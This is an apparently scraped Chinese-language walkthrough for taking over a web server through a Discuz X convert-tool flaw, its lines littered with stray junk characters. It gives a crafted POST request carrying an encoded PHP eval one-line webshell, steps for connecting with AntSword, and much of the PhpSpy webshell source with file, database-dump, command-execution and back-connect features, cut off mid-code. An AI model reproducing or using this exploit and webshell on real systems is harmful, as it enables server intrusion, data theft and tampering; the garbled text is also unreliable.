|
攻击思路:$ E* n$ ]- ]0 N( a& m6 \& Q- Y! H
想要拿下一台主机A的权限:
( j! [# ]8 O" i3 d- K1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞: l- V! }# u/ R5 h# _
2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权
5 {0 x; u$ {, Q0 Z2 L `' y7 O3、传上去后,得到apache用户普通权限,再提权成root
; x3 O' p8 X) K0 L1 x概述:
5 y0 Q! _: B2 P# X9 `# P {" Q8 d这突破在一个DZ X系列自带的转换工具里面。
9 N& `& C# e. j" l! x漏洞路径:utility / convert / data / config.inc.php
$ p! L% U+ z+ m, W) }! v漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。
, R* ]6 N. c: |8 f! W* o( q8 N触发突破过程:
$ w/ J" Y# R& ^; K8 o! x. ]$ k1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php / ~& K! t6 N) @% P8 [$ V) k
2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序+ F$ Q! L& }& G' L- z/ k
攻击过程:
% k+ i6 N8 f5 C8 m1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/. v& w9 g( q( m

: |: [% s. Q; }1 L " |+ l9 L) x1 Y$ p# V" h
2,右键单击空白处,选择发送到中继器,将报文发到中继器 
3、然后在中继器中查看信息: 
4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes这是一个经过加密的一句话木马解密后内容如下: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa eval("$_POST[c];"););eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行 
5、修改完成后发送数据包 
6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php 代码详细: 
可以看到和我们修改提交的参数类似。而且多了很多^ M符号。 扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n 7、祭出祖传的中国蚁剑连接刚才上传的一句话木马+ b! t# Y/ v1 j% Z
6 u+ \0 y6 _- |' a9 t) H* J
8、通过中国蚁剑上传大码9 [! \8 o5 E8 p( N" r
! X! A! K- K: @; p" ?1 i# {
; l! o. f6 T" J& a: k$ J) f: K3 M
10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd webshell代码如下: - <?php
8 l9 w+ g$ @! Z0 Y2 o D -
1 H+ M& x9 t/ u1 _% J. U - /*****************************************************************************
! @5 C. c2 @( f9 E( L- G1 M3 h% M - 2 F$ N1 a. n6 f! L8 c5 ?7 H
- ===================== 请误用于非法用途,造成一切后果与本人无关。==================== C* @& G$ `2 j E0 u' k
-
+ ~6 K+ A6 [4 u' ? f( P9 m6 t5 ^& A - ====& L; R, ]+ h5 g$ `7 a
-
- Z" r0 s+ L: a6 s& `9 N6 o3 W - 0 H: [3 |/ B; M
- *****************************************************************************/
5 L" _6 n% V& k1 t9 x -
% z3 s3 E. t& }( c - error_reporting(7);3 Y4 ]8 T' n8 N8 ]+ q8 ]
- @set_magic_quotes_runtime(0);) z1 w% I1 V" H, U/ g
- ob_start();
, f7 \- s5 k6 h: k! d1 \9 A - $mtime = explode(' ', microtime());" Y8 H; |9 ^: U, [: |0 @
- $starttime = $mtime[1] + $mtime[0];
8 R# d( x# S, T - define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');/ F4 W/ Z( c2 ]8 a0 {( m7 |
- //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
# @* I; p9 b1 q- m D1 b - define('IS_WIN', DIRECTORY_SEPARATOR == '\\');' m6 {; H1 @! {, P& Q/ v
- define('IS_COM', class_exists('COM') ? 1 : 0 );! F1 l( p k6 G: Q
- define('IS_GPC', get_magic_quotes_gpc());
& X0 f7 l$ a+ d0 c% a8 W" e9 o# e - $dis_func = get_cfg_var('disable_functions');6 K. m; m! N3 |# ]4 m: ~
- define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
6 y( i. _- u2 Q& y- ?; R5 v: U - @set_time_limit(0);
3 B/ G; B/ S* T( l' w# R# ?% S4 N -
$ X( t6 x( K2 |+ Z3 h4 a* @ - foreach(array('_GET','_POST') as $_request) {
: z$ Q, U& {9 W4 B+ } - foreach($$_request as $_key => $_value) {
2 G' ~0 ~8 g1 C( U) M - if ($_key{0} != '_') {
( O* V" @+ K4 o0 _$ @6 d; T) v - if (IS_GPC) {! ~% O) q8 q/ m% s. S
- $_value = s_array($_value);
- [# T/ J6 n% i% m- z& G, t - }$ r, G1 `0 E, K+ h' W) h& n- I1 D
- $$_key = $_value;
, b) f" r0 U1 Q - }
+ D t% Y. n2 {8 b4 o+ q - }
9 F' p; h" F3 r# \ - }% V3 ~' f# i3 e# w8 k6 h
-
. b0 [; K# H/ O. ] - /*===================== 程序配置 =====================*/. W" `2 @) a& T" R
- $admin = array();$ r7 _* S) |8 S
- // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效3 R1 k1 l% C& H
- $admin['check'] = true;& q; M+ h2 u7 `/ Z5 M$ p/ O
- // 如果需要密码验证,请修改登陆密码* d6 x$ f1 Z! J; f" w" k# {3 P
- $admin['pass'] = 'xuegod';: h1 S+ n9 s3 f$ \# n
-
8 j* W/ \ V- S" C9 F - //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
* j3 q: H7 y- |: H8 K - // cookie 前缀) u. a) t# \9 M6 M9 n5 D
- $admin['cookiepre'] = '';
9 I. B3 n! }% }2 F- [3 O, E+ A - // cookie 作用域
( ~% V% Q1 G! \6 A8 ` - $admin['cookiedomain'] = '';- F5 j" T0 ?0 m1 O, V- \/ n
- // cookie 作用路径
5 u4 ^3 K5 x) | - $admin['cookiepath'] = '/';
+ x5 ^9 h$ g- l8 h6 U& [9 X' d* ~ - // cookie 有效期6 \7 j$ e. b1 y4 V1 Y% h
- $admin['cookielife'] = 86400;' [1 v7 o( }! t, |
- /*===================== 配置结束 =====================*/
X. \) F3 h4 c1 T -
7 ~8 B( f/ {8 \+ n- E: |! U - if ($charset == 'utf8') {
9 m. M* B" v# ]' D1 z* K7 Y( J - header("content-Type: text/html; charset=utf-8");
/ M1 s+ D1 m$ s8 _7 d7 H' H. [ - } elseif ($charset == 'big5') {
9 D# t7 n4 p8 L6 ^# w# J& Q. M - header("content-Type: text/html; charset=big5");, i: ]5 U9 o6 D Z7 G" o3 E2 @
- } elseif ($charset == 'gbk') {8 P3 |9 E$ O; {) b
- header("content-Type: text/html; charset=gbk");
, c3 C. ?% E; x) R9 L- N, P0 ` - } elseif ($charset == 'latin1') {8 v4 E( h% \6 j* \6 I
- header("content-Type: text/html; charset=iso-8859-2"); i; V2 d/ I& w7 w/ C2 V. @
- }
! F- E7 F; y: @3 B -
, I7 k3 J6 w$ i- ^ - $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];& {7 X+ {& n8 e. J; d& }
- $timestamp = time();
+ v; R9 e, y7 q- a$ z" U8 | - 3 w( \% \, U3 Q* I. ?. m
- /*===================== 身份验证 =====================*/
' {6 d, X* ~% @9 g, q6 W. `6 m - if ($action == "logout") {, @" Q* i' H1 L7 M5 C
- scookie('phpspypass', '', -86400 * 365);# T) w7 Q% x2 a4 }
- p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
+ D7 g: t+ U4 }2 a( p - p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
0 Q. r% O I2 w7 p8 G1 v1 ^' j - exit;! i8 L+ n2 q/ \* W
- }
- f- o6 z. U) F4 Z6 ` - if($admin['check']) {6 J/ b8 ]/ h- a t- U' b) Q$ G
- if ($doing == 'login') {
6 R' M2 S! N. [) R: x - if ($admin['pass'] == $password) {
, `% B+ [8 t. k# R - scookie('phpspypass', $password);
" U- Y5 s; U' |8 Z3 x - p('<meta http-equiv="refresh" content="1;URL='.$self.'">');+ K5 b4 a2 |5 z% B: E3 P
- p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');! w! J/ v: N8 n* P8 H
- exit;) j) j2 x3 _/ ?" v. Y5 ?
- }
' p3 U; d8 G3 P& i; t' ~ - }
5 a+ h1 _* }5 S U8 r- I - if ($_COOKIE['phpspypass']) {
6 w2 _, U( R& H2 p+ w m - if ($_COOKIE['phpspypass'] != $admin['pass']) {
+ }3 o% t9 F3 l3 Q& [4 ~( H/ \0 ` - loginpage();
4 b0 W/ p2 b9 J5 F/ B" ^ - }
* L' m0 Z% q$ q: s0 _ - } else {
* n2 h2 N9 j% N! _ - loginpage();
/ r! L3 \/ ^* _0 ^( v# ^; h - }1 W; e& `" F; o+ x
- }# Z A7 }* r8 `8 v0 _/ R- z S' G! |
- /*===================== 验证结束 =====================*/( ^3 |; l2 @, ^5 Z- a& G" h4 ~
- / U K' y- H/ f0 D" j+ s
- $errmsg = '';- m; r! w" I3 X5 i! K! ^- B
- * d. j$ k. H0 ]' p0 C H) c# E2 t
- // 查看PHPINFO' x3 h7 @7 y* s4 P' a
- if ($action == 'phpinfo') {) E* i3 P& W/ U5 [
- if (IS_PHPINFO) {
0 E: K2 {, [4 w - phpinfo();
/ |! I `. f4 |- v; y8 H% a/ x - } else {0 M. d6 q2 l% |4 y8 h
- $errmsg = 'phpinfo() function has non-permissible';$ S+ m6 m/ E7 ]- I& D" H% g! x# D; G' h
- }
! h( e# j. @9 @) Y - }
; \3 ^: x$ r: S. K -
1 Z; W" x; M, I& a - // 下载文件
' ?( `; J, i6 R! A' m - if ($doing == 'downfile' && $thefile) {
' H$ ^" i" Z/ y - if (!@file_exists($thefile)) {
% l2 F/ z. x# q- a/ w7 _ R' ^% P - $errmsg = 'The file you want Downloadable was nonexistent';3 ~# j( \$ a5 f {- V; H
- } else {5 ~3 u M( ~3 i* P5 @" g4 @; _' r
- $fileinfo = pathinfo($thefile);( v1 j' v0 q( }2 g+ B
- header('Content-type: application/x-'.$fileinfo['extension']);" I/ t( F2 a7 a+ n) {( Y5 d' n
- header('Content-Disposition: attachment; filename='.$fileinfo['basename']);$ ]. n/ x8 z+ M$ P
- header('Content-Length: '.filesize($thefile));* B* J+ m3 l, P0 q, _5 B' @
- @readfile($thefile);
$ Y% t6 r, n# v - exit;
: ?2 t& H: s/ E9 m: [0 ` - }
: k b$ d! n# d4 M2 S# s - }
' {0 X/ V6 x! ?) ]+ x0 d -
* p( P( S7 i$ t4 O - // 直接下载备份数据库
2 \% \+ ^3 C2 t7 t9 U - if ($doing == 'backupmysql' && !$saveasfile) {
5 a+ M( N; V0 F; G. \" B - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);' ?) I# }2 U5 {
- $table = array_flip($table);
) U' O& n9 c8 b* j( U* }$ ] - $result = q("SHOW tables");# u4 H' |. u7 s; _- u, b
- if (!$result) p('<h2>'.mysql_error().'</h2>');* j# ~$ p# \9 r" B4 u# c
- $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');9 [% P* C( X3 b0 a" h; K$ D
- header('Content-type: application/unknown');6 Q" B2 Z. ~) m0 h+ U
- header('Content-Disposition: attachment; filename='.$filename);
/ a0 J+ w2 l0 g C. y - $mysqldata = '';; I4 u1 R6 l$ X: p4 F
- while ($currow = mysql_fetch_array($result)) {- F2 y* t. A: N4 ~ E: j
- if (isset($table[$currow[0]])) {$ l5 L' ^7 c! l6 y. t2 L+ N5 t- s
- $mysqldata .= sqldumptable($currow[0]);
$ X: T% j) ^! c" X - }
6 y. s N8 x$ T' H+ V( Z( s - }- b- Z" y$ H& d B: `( a
- mysql_close();
( ^# a( |4 ?% ?$ _2 m- J& c7 W) @, r - exit;. e0 y% a$ y7 G1 V& i0 D
- }
7 i& P$ F2 |) K3 _4 n" ?2 t, V( I0 E - / P8 G3 [+ r- v y6 ]* a; }
- // 通过MYSQL下载文件; A1 h4 l. B& | c# V
- if($doing=='mysqldown'){
2 J4 s. [! B! k3 e( S. G& Z - if (!$dbname) {
4 M# Q. e' O7 Z1 w( b7 E7 J - $errmsg = 'Please input dbname';
' f _- l5 D% P' x* r( z0 u - } else {
" V+ { e2 ]" W$ ]) o. W - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
6 R* @3 [0 Y/ A) ~: B% @8 z4 \, { - if (!file_exists($mysqldlfile)) {8 y: W( Y; \( L0 v- Z
- $errmsg = 'The file you want Downloadable was nonexistent';8 q- i- m4 g2 X1 R' z* p! b S
- } else {5 F7 ~' Q7 p; z' q* t3 C9 y
- $result = q("select load_file('$mysqldlfile');");
1 `9 ~1 j+ \ ]' P) c) g; A - if(!$result){
+ ?* J6 ~0 l; H2 x- [/ C - q("DROP TABLE IF EXISTS tmp_angel;");
0 R0 O. }* i b- |5 X2 s/ M) a - q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
: P* z* p8 m7 h1 M5 ] - //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
0 |/ g( a; r& F0 r [. f# P - q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");( V) D P) y7 C( N9 |
- $result = q("select content from tmp_angel");% h# ?( b& H; \2 a" a( G
- q("DROP TABLE tmp_angel");
& b7 u/ g6 |: Y" j$ T* @# T- g - }, P% y! ^& W7 c0 s/ P
- $row = @mysql_fetch_array($result);
$ }) Q/ D6 t \& z - if (!$row) {
1 C, T+ p/ s3 N6 c% f( h - $errmsg = 'Load file failed '.mysql_error();
1 @: h2 f4 P) B0 S - } else {
( ^. k6 t' m- y2 R/ ^8 k. c' Y* O - $fileinfo = pathinfo($mysqldlfile);* k& D" g! \6 m* g( K9 t
- header('Content-type: application/x-'.$fileinfo['extension']);1 A* s g. |6 m8 U
- header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
/ n. q" [" `( T; ^$ B$ H" q - header("Accept-Length: ".strlen($row[0]));9 Y5 y# G* a% @. b" C* q
- echo $row[0];! ~$ `( z& u# K: d
- exit;
7 z7 F3 b" B# G* [ W; T - }! L+ Y" n) C9 n, v
- }
, U2 V3 Q& V$ O" ?# a5 `" F - }
& z; ^1 `0 } j8 i& C - }
6 U0 I/ i7 R+ l% L( r - * ]5 u' P4 m: l5 k1 S h
- ?>
; U2 d% T: o- ?# `0 g - <html>
9 W; }0 ]' L. V3 R - <head>
3 T0 r5 B9 Q9 ?- ?- V - <meta http-equiv="Content-Type" content="text/html; charset=gbk">, z9 M2 \1 ?! K* L$ r. e0 h3 ?4 ^) D
- <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>5 C0 Y) k5 n2 b
- <style type="text/css">2 S' L7 P4 b! l1 r* T, D5 \: }
- body,td{font: 12px Arial,Tahoma;line-height: 16px;}1 g( b1 h& u# ^! R7 v% Z6 \( Z
- .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}: I: _$ s( B7 a- M8 J; e; @
- .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}+ o4 o. |$ e2 @+ G, e! P
- .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}! X0 E' G6 ]* O9 c# ` C
- a {color: #00f;text-decoration:underline;}, g! ^- ~! F: A4 e+ \
- a:hover{color: #f00;text-decoration:none;}' ], p6 G; s2 Y. } b) \2 X
- .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}" G& J2 |+ A" [8 t- {
- .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}5 n/ L* A* M& f0 q( y
- .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}7 \7 ~/ P$ t3 X0 {7 @
- .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
' v; O- Z) s( [ - .head td span{font-weight:normal;}
+ P1 ~7 V* {6 v. K - form{margin:0;padding:0;}6 k# C' i3 w" S& |; j u5 ]
- h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}/ a, [9 [0 k; h6 @
- ul.info li{margin:0;color:#444;line-height:24px;height:24px;}- h% J4 p: c' c. ^. w/ v5 }7 b |* d( g
- u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}- Z" W# E2 y4 Z7 J. |8 B
- </style>
% t; a/ Z7 @8 W6 d2 @ - <script type="text/javascript">; p o5 f6 ~2 W- }; w, s# E
- function CheckAll(form) {8 f- k( N: L9 W) m) l3 z
- for(var i=0;i<form.elements.length;i++) {
! Y% j$ E! P- z! Z5 d - var e = form.elements[i];* o T0 N2 J$ }9 f* J% x
- if (e.name != 'chkall')8 o v% f( P6 a9 l
- e.checked = form.chkall.checked;6 Y' C! _# o% |: Q8 Z: U5 V* N
- }
1 ?1 N: r* i! i ? - }
+ v! } I( t/ Q8 {3 P- O - function $(id) {
; g* i$ v& \! n5 w" c" d/ C) Z0 K - return document.getElementById(id);
* h; F( _2 ?9 m# _* l f; A - }
; n$ ^, L9 n! e0 N - function goaction(act){' J6 Q* _. \9 R
- $('goaction').action.value=act;2 R$ i- v3 m" P+ l
- $('goaction').submit();+ e8 f+ i& y3 I1 g2 d) B
- }' Q& S5 ~& Z6 k; S' p
- </script>; _) P9 o: P2 f5 E8 M
- </head>
7 S. K& J3 m" S! h! M! k- s - <body style="margin:0;table-layout:fixed; word-break:break-all">
! k8 Z) F2 x0 h8 F% U* m - <table width="100%" border="0" cellpadding="0" cellspacing="0">7 u. k8 j0 J0 {2 \
- <tr class="head">- b. W' Y r( r8 { {9 U/ C
- <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>( F# A" T1 p3 k9 U' d8 H' J
- </tr>7 W O& y+ e, l8 o
- <tr class="alt1">
/ R/ d. _+ H: G - <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
, e$ _0 E$ a# R: x - <a href="javascript:goaction('logout');">Logout</a> |
9 K/ i3 n$ b* d, T0 H( o - <a href="javascript:goaction('file');">File Manager</a> |
* y1 s4 D# X6 a/ U! J3 i0 }- o - <a href="javascript:goaction('sqladmin');">MySQL Manager</a> | 1 u) y4 t3 q8 u+ `5 B3 E( ]
- <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> | / r& A8 p8 G! e0 V+ j# [6 w
- <a href="javascript:goaction('shell');">Execute Command</a> |
& s) o" t8 j4 V. e! ^- y& H; L1 G - <a href="javascript:goaction('phpenv');">PHP Variable</a> | / l1 l3 ^6 s3 f7 Q
- <a href="javascript:goaction('eval');">Eval PHP Code</a>% k/ b# q6 y0 y1 i5 l: i
- <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
- H: G! K: ~1 H+ e2 O4 q - </td>
! P- b D% v& E+ Y- k/ D" D - </tr>
& `+ |9 @' D: x! { a3 G% { - </table>
5 s: t+ s3 u) C! H, D) m; W, p - <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>& a- F8 a8 G. c q6 D1 }
- <?php3 a: f% W$ x8 q# x$ a
-
* Z+ E# @! w' \, Z0 y - formhead(array('name'=>'goaction'));
0 X2 u+ D& W* h0 F/ e% S- k1 J& r; w - makehide('action');0 C% {" y+ v+ y# p7 \9 w
- formfoot();# k0 Y D2 I0 f6 Z+ Q
- ' S1 o5 Z0 ~8 N. V' T6 I
- $errmsg && m($errmsg);
3 B& c* s( J$ g, e2 u4 Y - $ h3 p+ c5 I" ]+ _! g
- // 获取当前路径
5 u. s9 a/ E4 Q6 O/ |/ C3 R) @ - !$dir && $dir = '.';% h& a% f) L+ Z# m- v" ^
- $nowpath = getPath(SA_ROOT, $dir);/ s& S3 d( {/ d" K" u0 F& C
- if (substr($dir, -1) != '/') {
$ ]# e8 ]( ]7 M4 i - $dir = $dir.'/';0 c; I- A- O) A5 M4 x# i4 v
- }$ d {/ L5 ^* S7 F: u
- $uedir = ue($dir);0 O1 z: j( U' J# ]4 g1 a
-
$ d2 t. f4 }; j& {9 \- } - if (!$action || $action == 'file') {; y! p8 g. S& V1 e, v
-
& \4 C+ h: g& c2 ~7 r7 J+ p - // 判断读写情况9 C: R# U" b) [6 |' d) t# Q' B
- $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
" }: `/ W: _: _) B - 3 M, {% b6 Q0 S4 Q9 V# F
- // 删除目录; U- o7 k! A* y0 [8 _# u# Y
- if ($doing == 'deldir' && $thefile) {9 C3 M2 ^. p+ M$ b+ Q- k
- if (!file_exists($thefile)) {
# g, l& x( ]9 {7 c& O7 l& r$ T2 i - m($thefile.' directory does not exist');" n7 {4 V" N: l5 c; a% ` _
- } else {! n. }, A% @& e' u4 d
- m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
$ j' T, h) f# b1 \$ `9 q - }
: F- S" U7 ^, T$ }: @% \ - }
9 |, |$ w: Q: b" o* d -
$ C I l' z& ^. | - // 创建目录; Q" E+ D7 H& T4 X0 g5 Y
- elseif ($newdirname) {% i# N& K! e+ I+ I
- $mkdirs = $nowpath.$newdirname;
6 y# y+ c% K2 ?6 ` - if (file_exists($mkdirs)) {
. \2 c$ K3 b" g4 [ \+ k# ]/ u( P - m('Directory has already existed');
! [; l+ Q! G9 Q+ [0 w- t' P - } else {
& L7 Y# K$ v: Q* l! M* `- W - m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));8 M6 M" z: ]7 T( w s- ^/ ~
- @chmod($mkdirs,0777);
1 p) G( q. C0 t: X ~ - }. C7 P0 r4 h& N8 Y/ M6 V
- }
; k0 r: L' \) C - 0 A7 d2 ^- U9 r
- // 上传文件
" _$ z" O* L8 o$ w - elseif ($doupfile) {9 h5 {1 f0 d$ A+ G1 Z5 _- x! b
- m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));% t2 ?6 o3 k9 W% L
- }
; c7 G& p$ s6 Z: g ~0 ^ - 1 a3 s6 x2 {" c: Z2 t/ _
- // 编辑文件: l1 c7 ~+ M- x7 u2 [2 I
- elseif ($editfilename && $filecontent) {1 A9 V3 D8 j# B% }: O
- $fp = @fopen($editfilename,'w');
" C4 ^, j9 k* U/ V) r4 r - m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
# J+ I0 w3 Q3 |' N& ` | - @fclose($fp);3 X! z9 r: }* P9 r; U, V$ N* t
- }) u# E5 ], {: \& D
-
9 t- n; X+ y6 u! Y3 Y3 u - // 编辑文件属性) ?' h" P; o( l' Q: z' p& H( v
- elseif ($pfile && $newperm) {( X( A( G( w, H8 A1 S
- if (!file_exists($pfile)) {" }) n3 N/ n+ Q& ~
- m('The original file does not exist');
" R. g1 D0 r. D+ V - } else {7 @ b _6 U3 a$ V$ x
- $newperm = base_convert($newperm,8,10);
. S! L9 r: K" ?+ i5 B - m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
3 W6 T$ j& ?. x: M) G - }% G. @! |* c, `: J8 j
- }: R7 Z3 \; L$ v4 J, {1 E/ }2 }6 W
-
8 E' L3 H! y: V; c - // 改名9 u5 Y& i0 _4 a8 q
- elseif ($oldname && $newfilename) {9 F; H5 r8 o. K0 C! m2 V
- $nname = $nowpath.$newfilename;
) f0 C( a- v5 f9 p6 P2 `+ s0 s - if (file_exists($nname) || !file_exists($oldname)) {
! b( B: C" c. z8 i' w0 r! w b - m($nname.' has already existed or original file does not exist');; b. h9 Z* S B# E4 @& k& C
- } else {
( p/ k: o) L& v6 E - m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));. I2 ]3 J( a* ~; M
- }
+ A+ W% i; f9 O+ o" O- P6 G2 r6 N - }9 l2 j& L8 @% O7 z
-
: ^( H0 {4 x( M P2 j8 g4 o+ s - // 复制文件
! Z; n) r7 A& | - elseif ($sname && $tofile) {$ c) ?+ F! x8 `3 F% F
- if (file_exists($tofile) || !file_exists($sname)) {
8 p- o4 }( S% @7 z - m('The goal file has already existed or original file does not exist');
f g6 T+ W0 B+ k! {4 w7 n- L - } else {
) `% j- f; B0 Q. M - m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
7 k! s) f( o5 R. t - }1 {8 y7 m' Y- f! y) Q' i* H* X2 ^
- }$ z6 E4 v7 p5 j3 J* `
- 8 w% y9 b; @. ^# n
- // 克隆时间
2 O+ q6 f0 S( ] - elseif ($curfile && $tarfile) {
0 @4 o ^# c1 f. C* Q0 A6 r - if (!@file_exists($curfile) || !@file_exists($tarfile)) {
2 p1 d* [, O" ?* c# R2 S - m('The goal file has already existed or original file does not exist');
7 k6 [/ l! [( H - } else {
, }' ~8 e: x. R& G - $time = @filemtime($tarfile); t, F% T4 H$ m0 c& x
- m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
; x4 g. V+ ?) t( @5 d, k - }
4 T9 h, J* j- `0 T - }
k# G/ _' @+ v7 l# Z: t -
& ^: x. m Z; s* V Y3 k1 A - // 自定义时间
% \% X W( s) x8 G. I/ E - elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
+ _, m4 @9 c. c6 U3 I - if (!@file_exists($curfile)) {/ B) \/ x2 M6 c! o- g
- m(basename($curfile).' does not exist');7 Z1 A, v5 y6 d( U1 R5 Q0 Z
- } else {
, n+ ]9 L* r5 h! z - $time = strtotime("$year-$month-$day $hour:$minute:$second");: E9 [8 m/ I' v b$ x
- m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));& U/ D: ^8 X# k. L h1 W
- }& P! ]4 Z9 {# U8 d* q
- }
6 g8 _" T/ _9 ] x- A+ x -
7 I3 a" f4 ^/ i' Y' J: I - // 打包下载# r4 W' N- o) X/ I; i
- elseif($doing == 'downrar') {
, i4 L+ ]# _) S. E- p - if ($dl) {
+ K% Z# l' Q2 O1 g9 X - $dfiles='';
- }$ Y3 i* W. V - foreach ($dl as $filepath => $value) {
: r0 q) L! {" I - $dfiles.=$filepath.',';
7 @( K- R, V9 j# y! p6 q - }, [5 E Q. Q! e; A5 n
- $dfiles=substr($dfiles,0,strlen($dfiles)-1);% p( r& O1 l$ b) y; H
- $dl=explode(',',$dfiles);
% S6 Y/ e+ E: K) I) x - $zip=new PHPZip($dl);: l4 Z: E. k' `- u. `
- $code=$zip->out;
& u, q6 T. N+ u% i0 ~ - header('Content-type: application/octet-stream');8 r `, A, t1 E* n: Q3 }: v
- header('Accept-Ranges: bytes');
' n! `$ H, t9 R$ |; N - header('Accept-Length: '.strlen($code));
9 E! @. S" v' c9 K8 x - header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
9 l+ P% w. _, _$ q7 ~ - echo $code;
& l& r; x C6 ~ - exit;% r; D" H) u6 F9 b/ [' ~
- } else {; R1 [: {' m' F' J- ]
- m('Please select file(s)');+ N4 C) K3 P, i: b$ O
- }3 Q+ K, u0 ~- r6 j& N/ s
- }
& S( }+ z c6 W C1 A/ F0 c - : \9 h) v2 y( I9 E4 D. @
- // 批量删除文件
+ x9 u3 C0 G. M9 Q0 r; Y1 \ - elseif($doing == 'delfiles') {1 F6 K- ~; p8 n& w
- if ($dl) {
2 Y# z2 c( ?" q: L, G7 s& K- k - $dfiles='';
/ k+ a0 x# G9 U* f3 S - $succ = $fail = 0;! E) R* X+ c- \3 i- Z; g# m* F7 w! w
- foreach ($dl as $filepath => $value) {1 u& q2 J, N s, A8 I
- if (@unlink($filepath)) {6 e0 a+ l+ c; ~3 r2 z5 ]
- $succ++;
8 ^7 z- ? ^0 G% ` - } else {
/ _( ~! g3 e6 m9 `1 S, O - $fail++;
9 D6 a3 M2 t! ]8 C - }9 R3 J7 S6 T+ h" z
- } c9 k8 g/ B: U" |; ~ y2 o' G
- m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);9 ~+ S d+ W+ `+ f! v; P6 J1 d( S( [1 g
- } else { Y5 e& {3 B0 h/ k7 b
- m('Please select file(s)');
- m) I+ m( `( A7 J - }, q1 H8 M" @4 D. `
- }
# d0 H. O d3 C - / U, t( k( e3 h2 o9 e6 ~( y
- //操作完毕) W6 Y' `* b7 O% R+ e. }& _
- formhead(array('name'=>'createdir'));
a! z" A# R j1 G P" I0 X, N - makehide('newdirname');& D! G& [" l0 Q
